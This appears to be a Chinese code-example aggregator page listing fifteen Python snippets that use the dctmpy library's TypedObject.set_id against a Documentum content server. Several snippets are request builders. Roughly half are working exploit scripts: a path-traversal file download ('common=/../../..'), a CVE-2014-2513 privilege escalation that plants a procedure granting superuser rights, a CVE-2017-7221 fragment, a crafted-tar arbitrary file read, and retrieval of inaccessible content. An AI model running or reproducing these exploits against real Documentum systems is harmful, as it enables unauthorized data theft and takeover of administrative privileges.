本文整理汇总了Python中dctmpy.obj.typedobject.TypedObject.set_id方法的典型用法代码示例。如果您正苦于以下问题:Python TypedObject.set_id方法的具体用法?Python TypedObject.set_id怎么用?Python TypedObject.set_id使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类dctmpy.obj.typedobject.TypedObject
的用法示例。
在下文中一共展示了TypedObject.set_id方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: get_attribute_nls_info
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_id [as 别名]
def get_attribute_nls_info(session, type, attribute, policy=NULL_ID, state=0):
obj = TypedObject(session=session)
obj.set_string("TYPE_NAME", type)
obj.set_string("ATTR_NAME", attribute)
obj.set_id("POLICY_ID", policy)
obj.set_int("POLICY_STATE", state)
return obj
示例2: put_file
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_id [as 别名]
def put_file(session, storage_id, file, format):
obj = TypedObject(session=session)
obj.set_id("STORAGE", storage_id)
obj.set_string("FILE", file)
obj.set_id("FORMAT", format)
obj.set_bool("MAC_CLIENT", False)
return obj
示例3: start_push
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_id [as 别名]
def start_push(session, handle, content_id, fmt, size, d_ticket=0, is_other=False,
compression=False, can_use_new_callbacks=True, encoded_content_attrs='', i_partition=0):
obj = TypedObject(session=session)
obj.set_int("HANDLE", handle)
obj.set_id("CONTENT_ID", content_id)
obj.set_id("FORMAT", fmt)
obj.set_int("D_TICKET", d_ticket)
obj.set_int("SIZE", size & 0xFFFFFFFF)
obj.set_int("SIZE_LOW", size & 0xFFFFFFFF)
obj.set_int("SIZE_HIGH", size >> 32)
obj.set_bool("IS_OTHER", is_other)
obj.set_bool("COMPRESSION", compression)
obj.set_bool("CAN_USE_NEW_CALLBACKS", can_use_new_callbacks)
obj.set_string("ENCODED_CONTENT_ATTRS", encoded_content_attrs)
obj.set_int("I_PARTITION", i_partition)
return obj
示例4: make_puller
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_id [as 别名]
def make_puller(session, objectId, storeId, contentId, formatId, ticket, other=False, offline=False,
compression=False, noAccessUpdate=False):
obj = TypedObject(session=session)
obj.set_id("SYSOBJ_ID", objectId)
obj.set_id("STORE", storeId)
obj.set_id("CONTENT", contentId)
obj.set_id("FORMAT", formatId)
obj.set_int("TICKET", ticket)
obj.set_bool("IS_OTHER", other)
obj.set_bool("IS_OFFLINE", offline)
obj.set_bool("COMPRESSION", compression)
if noAccessUpdate:
obj.set_bool("NO_ACCESS_UPDATE", noAccessUpdate)
return obj
示例5: main
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_id [as 别名]
def main():
if len(sys.argv) != 5:
usage()
exit(1)
(session, docbase) = create_session(*sys.argv[1:5])
if is_super_user(session):
print "Current user is a superuser, nothing to do"
exit(1)
print "Trying to find any object with content..."
object_id = session.query(
"SELECT FOR READ r_object_id "
"FROM dm_sysobject WHERE r_content_size>0") \
.next_record()['r_object_id']
session.apply(None, NULL_ID, "BEGIN_TRANS")
print "Querying \"inaccessible\" dmr_content objects..."
for e in session.query(
"SELECT * FROM dmr_content "
"WHERE ANY parent_id IS NOT NULLID "
"AND ANY parent_id NOT IN "
"(SELECT r_object_id FROM dm_sysobject)"
):
handle = 0
try:
content_id = session.next_id(0x06)
obj = TypedObject(session=session)
obj.set_string("OBJECT_TYPE", "dmr_content")
obj.set_bool("IS_NEW_OBJECT", True)
obj.set_int("i_vstamp", 0)
obj.set_id("storage_id", e["storage_id"])
obj.set_id("format", e["format"])
obj.set_int("data_ticket", e["data_ticket"])
obj.set_id("parent_id", object_id)
if not session.save_cont_attrs(content_id, obj):
print "Failed"
exit(1)
handle = session.make_puller(
NULL_ID, obj["storage_id"], content_id,
obj["format"], obj["data_ticket"]
)
if handle == 0:
raise RuntimeError("Unable make puller")
size = 0
for chunk in session.download(handle):
size += len(chunk)
print "Downloaded %d/%d bytes of object %s" % \
(size, e['full_content_size'], e['r_object_id'])
finally:
if handle > 0:
try:
session.kill_puller(handle)
except:
pass
示例6: get_file
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_id [as 别名]
def get_file(session, content_id, file_name=None):
content = session.get_object(content_id)
obj = TypedObject(session=session)
obj.set_id("STORAGE", content['storage_id'])
obj.set_id("FORMAT", content['format'])
obj.set_id("CONTENT", content['r_object_id'])
obj.set_int("D_TICKET", content['data_ticket'])
obj.set_bool("MAC_CLIENT", False)
if file_name:
obj.set_string("OBJNAME", file_name)
return obj
示例7: download
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_id [as 别名]
def download(session, path, buf):
print "Downloading %s" % path
print "Trying to find any object with content..."
object_id = session.query(
"SELECT FOR READ r_object_id "
"FROM dm_sysobject WHERE r_content_size>0") \
.next_record()['r_object_id']
session.apply(None, NULL_ID, "BEGIN_TRANS")
store = session.get_by_qualification("dm_filestore")
format = session.get_by_qualification("dm_format")
remote_path = "common=/../../../../../../../../../..%s=Directory" % path
result = session.put_file(store.object_id(), remote_path, format.object_id())
full_size = result['FULL_CONTENT_SIZE']
ticket = result['D_TICKET']
content_id = session.next_id(0x06)
obj = TypedObject(session=session)
obj.set_string("OBJECT_TYPE", "dmr_content")
obj.set_bool("IS_NEW_OBJECT", True)
obj.set_int("i_vstamp", 0)
obj.set_id("storage_id", store.object_id())
obj.set_id("format", format.object_id())
obj.set_int("data_ticket", ticket)
obj.set_id("parent_id", object_id)
if not session.save_cont_attrs(content_id, obj):
raise RuntimeError("Unable to save content object")
handle = session.make_puller(
NULL_ID, store.object_id(), content_id,
format.object_id(), ticket
)
if handle == 0:
raise RuntimeError("Unable make puller")
for chunk in session.download(handle):
buf.extend(chunk)
return buf
示例8: stamp_trace
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_id [as 别名]
def stamp_trace(session, message):
obj = TypedObject(session=session)
obj.set_id("MESSAGE", message)
return obj
示例9: log_message
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_id [as 别名]
def log_message(session, message):
obj = TypedObject(session=session)
obj.set_id("MESSAGE", message)
return obj
示例10: get_object_info
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_id [as 别名]
def get_object_info(session, object_id, fetch_immutability_status=False):
obj = TypedObject(session=session)
obj.set_id("OBJECT_ID", object_id)
obj.set_bool("FETCH_IMMUTABILITY_STATUS", fetch_immutability_status)
return obj
示例11: set_push_object_status
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_id [as 别名]
def set_push_object_status(session, object_id, value):
obj = TypedObject(session=session)
obj.set_id("_PUSHED_ID_", object_id)
obj.set_bool("_PUSH_STATUS_", value)
return obj
示例12: make_pusher
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_id [as 别名]
def make_pusher(session, store, compression=False):
obj = TypedObject(session=session)
obj.set_id("STORE", store)
obj.set_bool("COMPRESSION", compression)
return obj
示例13: main
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_id [as 别名]
def main():
if len(sys.argv) != 5:
usage()
exit(1)
(session, docbase) = create_session(*sys.argv[1:5])
if is_super_user(session):
print "Current user is a superuser, nothing to do"
exit(1)
install_owner = session.serverconfig['r_install_owner']
document_id = session.next_id(0x08)
content_id = session.next_id(0x06)
store = session.get_by_qualification("dm_store")
format = session.get_by_qualification("dm_format where name='crtext'")
handle = session.make_pusher(store['r_object_id'])
if handle < 1:
print "Unable to create pusher"
exit(1)
data = "Public Function EntryCriteria(ByVal SessionId As String,_" \
"\nByVal ObjectId As String,_" \
"\nByVal UserName As String,_" \
"\nByVal TargetState As String,_" \
"\nByRef ErrorString As String) As Boolean" \
"\nDim QueryID As String" \
"\nDim Query As String" \
"\nQuery = \"query,c,update dm_user objects set " \
"user_privileges=16 where user_name=\'%s\'\"" \
"\nQueryID = dmAPIGet(Query)" \
"\nQueryID = dmAPIExec(\"commit,c\")" \
"\nEntryCriteria=True" \
"\nEnd Function" % (sys.argv[3])
b = bytearray()
b.extend(data)
if not session.start_push(handle, content_id, format['r_object_id'], len(b)):
print "Failed to start push"
exit(1)
session.upload(handle, b)
data_ticket = session.end_push_v2(handle)['DATA_TICKET']
procedure = False
try:
print "Trying to create dm_procedure"
document = TypedObject(session=session)
document.set_string("OBJECT_TYPE", "dm_procedure")
document.set_bool("IS_NEW_OBJECT", True)
document.set_int("i_vstamp", 0)
document.set_int("world_permit", 7)
document.set_string("object_name", "CVE-2014-2513")
document.set_string("r_object_type", "dm_procedure")
document.append_id("i_contents_id", content_id)
document.set_int("r_page_cnt", 1)
document.set_string("a_content_type", format['name'])
document.set_bool("i_has_folder", True)
document.set_bool("i_latest_flag", True)
document.set_id("i_chronicle_id", document_id)
document.append_string("r_version_label", ["1.0", "CURRENT"])
document.set_int("r_content_size", len(b))
if session.sys_obj_save(document_id, document):
procedure = True
except Exception, e:
print str(e)
示例14: TypedObject
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_id [as 别名]
print "Failed to create dm_procedure"
print "Trying to create dm_sysobject"
document = TypedObject(session=session)
document.set_string("OBJECT_TYPE", "dm_sysobject")
document.set_bool("IS_NEW_OBJECT", True)
document.set_int("i_vstamp", 0)
document.set_string("owner_name", sys.argv[3])
document.set_int("world_permit", 7)
document.set_string("object_name", "CVE-2017-7221")
document.set_string("r_object_type", "dm_sysobject")
document.append_id("i_contents_id", content_id)
document.set_int("r_page_cnt", 1)
document.set_string("a_content_type", format['name'])
document.set_bool("i_has_folder", True)
document.set_bool("i_latest_flag", True)
document.set_id("i_chronicle_id", document_id)
document.append_string("r_version_label", ["1.0", "CURRENT"])
document.set_int("r_content_size", len(b))
if not session.sys_obj_save(document_id, document):
print "Failed to create dm_sysobject"
exit(1)
content = TypedObject(session=session)
content.set_string("OBJECT_TYPE", "dmr_content")
content.set_bool("IS_NEW_OBJECT", True)
content.set_id("storage_id", store['r_object_id'])
content.set_id("format", format['r_object_id'])
content.set_int("data_ticket", data_ticket)
content.set_id("parent_id", document_id)
content.set_int("page", 0)
content.set_string("full_format", format['name'])
示例15: download
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_id [as 别名]
def download(session, path, buf):
print "Downloading %s" % path
store = session.get_by_qualification("dm_store")
format = session.get_by_qualification("dm_format where name='crtext'")
print "Creating malicious dmr_content object"
session.apply(None, NULL_ID, "BEGIN_TRANS")
handle = session.make_pusher(store['r_object_id'])
if handle < 1:
print "Unable to create pusher"
end_tran(session, False)
exit(1)
(bytes, length) = create_tar("test", path)
b = bytearray()
b.extend(bytes.read())
print "Trying to find any object with content..."
object_id = session.query(
"SELECT FOR READ r_object_id "
"FROM dm_sysobject WHERE r_content_size>0") \
.next_record()['r_object_id']
content_id = session.next_id(0x06)
if not session.start_push(handle, content_id, format['r_object_id'], len(b)):
print "Failed to start push"
end_tran(session, False)
exit(1)
session.upload(handle, b)
data_ticket = session.end_push_v2(handle)['DATA_TICKET']
content = TypedObject(session=session)
content.set_string("OBJECT_TYPE", "dmr_content")
content.set_bool("IS_NEW_OBJECT", True)
content.set_id("storage_id", store['r_object_id'])
content.set_id("format", format['r_object_id'])
content.set_int("data_ticket", data_ticket)
content.set_int("page", 0)
content.set_string("page_modifier", "dm_batch")
content.set_string("full_format", format['name'])
content.set_int("content_size", len(b))
content.set_bool("BATCH_FLAG", True)
content.set_bool("IS_ADDRENDITION", True)
content.set_id("parent_id", object_id)
if not session.save_cont_attrs(content_id, content):
print "Failed to create content"
end_tran(session, False)
exit(1)
content = session.get_by_qualification(
"dmr_content WHERE any (parent_id='%s' "
"AND page_modifier='%s')" % (object_id, "vuln"))
handle = session.make_puller(
NULL_ID, store.object_id(), content['r_object_id'],
format.object_id(), data_ticket
)
if handle == 0:
end_tran(session, False)
raise RuntimeError("Unable make puller")
for chunk in session.download(handle):
buf.extend(chunk)
end_tran(session, False)
return buf